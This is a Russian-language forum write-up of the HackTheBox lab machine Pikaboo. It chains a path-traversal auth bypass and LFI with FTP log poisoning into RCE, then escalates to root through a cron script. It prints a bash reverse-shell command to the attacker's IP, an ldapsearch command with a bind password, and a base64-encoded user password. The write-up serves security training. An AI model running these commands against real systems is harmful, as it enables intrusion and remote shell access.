![]() |
https://forum.antichat.xyz/attachmen...dee91f8fe4.png
Приветствую! Предисловие Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём Hard машину Pikaboo, найдём способы эксплуатации LFI до RCE с помощью логов, ну что же, приступим! Данные: Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt. Основная рабочая машина: Kali Linux 2021.4 IP адрес удаленной машины - 10.10.10.249 IP адрес основной машины - 10.10.14.60 Начальная разведка и сканирование портов: Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста: Код:
nmap -sC -sV 10.10.11.114Из открытых для нас портов мы видим: 21/tcp - FTP, 22/tcp - SSH, 80/tcp - HTTP. Для начала изучим порт 21 - FTP, попробуем зайти под анонимным логином и паролем... Код:
ftp 10.10.10.249К сожалению анонимный вход на ftp - отключен, тогда перейдем на сайт и посмотрим его содержимое. https://forum.antichat.xyz/attachmen...6863832692.png Здесь мы видим функционал из трёх кнопок: Pokatdex, Contact и Admin. Перейдем на первую из них и посмотрим что-же там... https://forum.antichat.xyz/attachmen...6863967540.png На этой странице описаны разные существа и их способности, теперь зайду на одного из таких и проверю что передается в параметрах: https://forum.antichat.xyz/attachmen...6864045087.png https://forum.antichat.xyz/attachmen...6864062935.png Итак... знаменитый параметр - id и не менее знаменитая sql-инъекция... Попробуем проверить вставив одну кавычку в его параметр. Код:
http://10.10.10.249/pokeapi.php?id=8'https://forum.antichat.xyz/attachmen...6864166735.png Но... ничего не изменилось. Тогда пока что оставим этот псевдо-вектор и перейдем на следующую вкладку - Код:
ContactОтправка отчёта, может тут потенциальная XSS? Для начала отправим любое сообщение и проверим действие данной кнопки. https://forum.antichat.xyz/attachmen...6864363670.png Но опять ничего... Эх, никакой запрос не идёт, тогда осталась последняя вкладка - Код:
AdminЗапрашивает имя и пароль, так как у нас ничего не имеется, попробуем подставить Код:
admin:adminКод:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.10.249/Dirsearch отдаёт нам кучу ошибок 401, поэтому отфильтруем их с помощью параметра Код:
-x 401Код:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://10.10.10.249/ -x 401Код:
..Код:
http://10.10.10.249/admin../https://forum.antichat.xyz/attachmen...6864769459.png https://forum.antichat.xyz/attachmen...6864777264.png Результат Dirsearch конечно нас не порадует, но выдаст информацию про файл - server-status, его то мы и попробуем взять через обход авторизации админа! Код:
http://10.10.10.249/admin../server-statusЕсть! Мы получили доступ к этому файлу, а значит обошли эту несчастную авторизацию, теперь в запросах к этому сайту видим путь - Код:
/admin_stagingПостроим такой запрос: Код:
http://10.10.10.249/admin../admin_stagingКод:
http://10.10.10.249/admin../admin_staging/Теперь мы видим перед собой, что-то очень похожее на шаблонизатор, но прежде чем пихать во всё что под глаза попадётся SSTI, попробуем проанализировать диретории на сайте и его функции. И в первой же вкладке - Код:
User ProfileКод:
http://10.10.10.249/admin../admin_staging/index.php?page=user.phpТеперь перехватив запрос BurpSuite'ом засунем его в Intruder и профаззим его с помощью списка - Код:
Local File LinuxЕсть! Мы получили файл /var/log/vsftpd.log с логами входа в ftp. И что это нам даёт? - А то, мой дорогой читатель, что мы можем проявить здесь RCE уязвимость! Как же я хочу это сделать? Всё просто: 1) Войду в ftp с именем Код:
2) Прочитаю на сайте наш файл - /var/log/vsftfd.log - это исполнит его. 3) И заключительным этапом в этом пути заключается подставление параметра - cmd и выполнение команды через него. Приступим к реализации нашего плана, заходим в ftp: Код:
ftp ''@10.10.10.249Код:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.logКод:
http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=echo+'bash+-i+>%26+/dev/tcp/10.10.14.60/9999+0>%261'+>+/tmp/shel.sh+%26%26+bash+/tmp/shell.shЕсть! Мы получили доступ в систему! Далее нам предстоит поднять свои права в системе. Получение доступа к пользователю - Pwnmeow: После получения шелла, посмотрим директорию /home и увидим единственного пользователя - pwnmeow: https://forum.antichat.xyz/attachmen...6866989064.png Зайдем в его директорию и заберём его флаг: https://forum.antichat.xyz/attachmen...6867062384.png Получилось! Одна задача выполнена, но это ещё не конец, поэтому запасёмся терпением и продолжим Подгрузим с нашего локального сервера Linpeas и проведём первоначальную разведку: https://forum.antichat.xyz/attachmen...6867190158.png Внимательно изучив вывод Linpeas'а мы видим строку запуска скрипта по времени в Crontab. Давайте прочитаем содержимое этого самого скрипта: https://forum.antichat.xyz/attachmen...6867253302.png Судя по всему, он переходит в директорию /srv/ftp и в каждой папке обновляет csv файлы. Зайдя в /srv/ftp никакая папка не будет доступна нам для записи, это значит что мы пока что не можем сделать там свой бэкдор... Тогда остается поискать ещё интересных файлов в системе, так я и пришёл к директории Код:
/opt/pokeapihttps://forum.antichat.xyz/attachmen...6867535237.png Здесь мы видим базы данных, которые находятся в LDAP, а самое интересное что у нас есть учетные данные для перебора этих данных, давайте воспользуемся ldapsearch: Код:
ldapsearch -x -LLL -h 127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w J~42%W?PFHl]g -b 'dc=ftp,dc=pikaboo,dc=htb' -s subИ мы получаем пароль в формате base64 от уже знакомого нам пользователя - pwnmeow. Давайте расшифруем этот пароль: Код:
echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw=="| base64 -dПосле получения пароля, давайте войдем с помощью - Код:
suhttps://forum.antichat.xyz/attachmen...6867813353.png Повышение привилегий до рута: Хорошо, но мы всё ещё помним про тот самый скрипт который подгружается с директорией /srv/ftp, давайте попробуем зайти в аккаунт pwnmeow уже на ftp. https://forum.antichat.xyz/attachmen...6867941541.png Успешно! Итак, что у нас по директориям? https://forum.antichat.xyz/attachmen...6868186111.png Держа у себя в голове этот самый скрипт, я полез в гугл за информацией, как же сделать этот самый бэкконнект с помощью csv файла. А всё оказалось довольно просто: 1) Для начала нам нужно переместить любой файл в одну из директорий, директорией будет выступать - versions, а пустым файлом - payload. 2) Далее загрузив его, нам нужно добавить к нему наш пэйлоад, я выбрал python3 скрипт, а также открыть прослушиватель. 3) С первой попытки может не выйти, поэтому нужно скопировать команду несколько раз. 4) Ждать коннект. Начнём! Качнем туда файл и сразу же добавим к нему наш пэйлоад: https://forum.antichat.xyz/attachmen...6868403509.png Теперь ждём соединения, предварительно скопировав эту команду ещё пару раз: https://forum.antichat.xyz/attachmen...6868447310.png Есть соединение и есть флаг! Мы - Root! Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду |
| Время: 17:28 |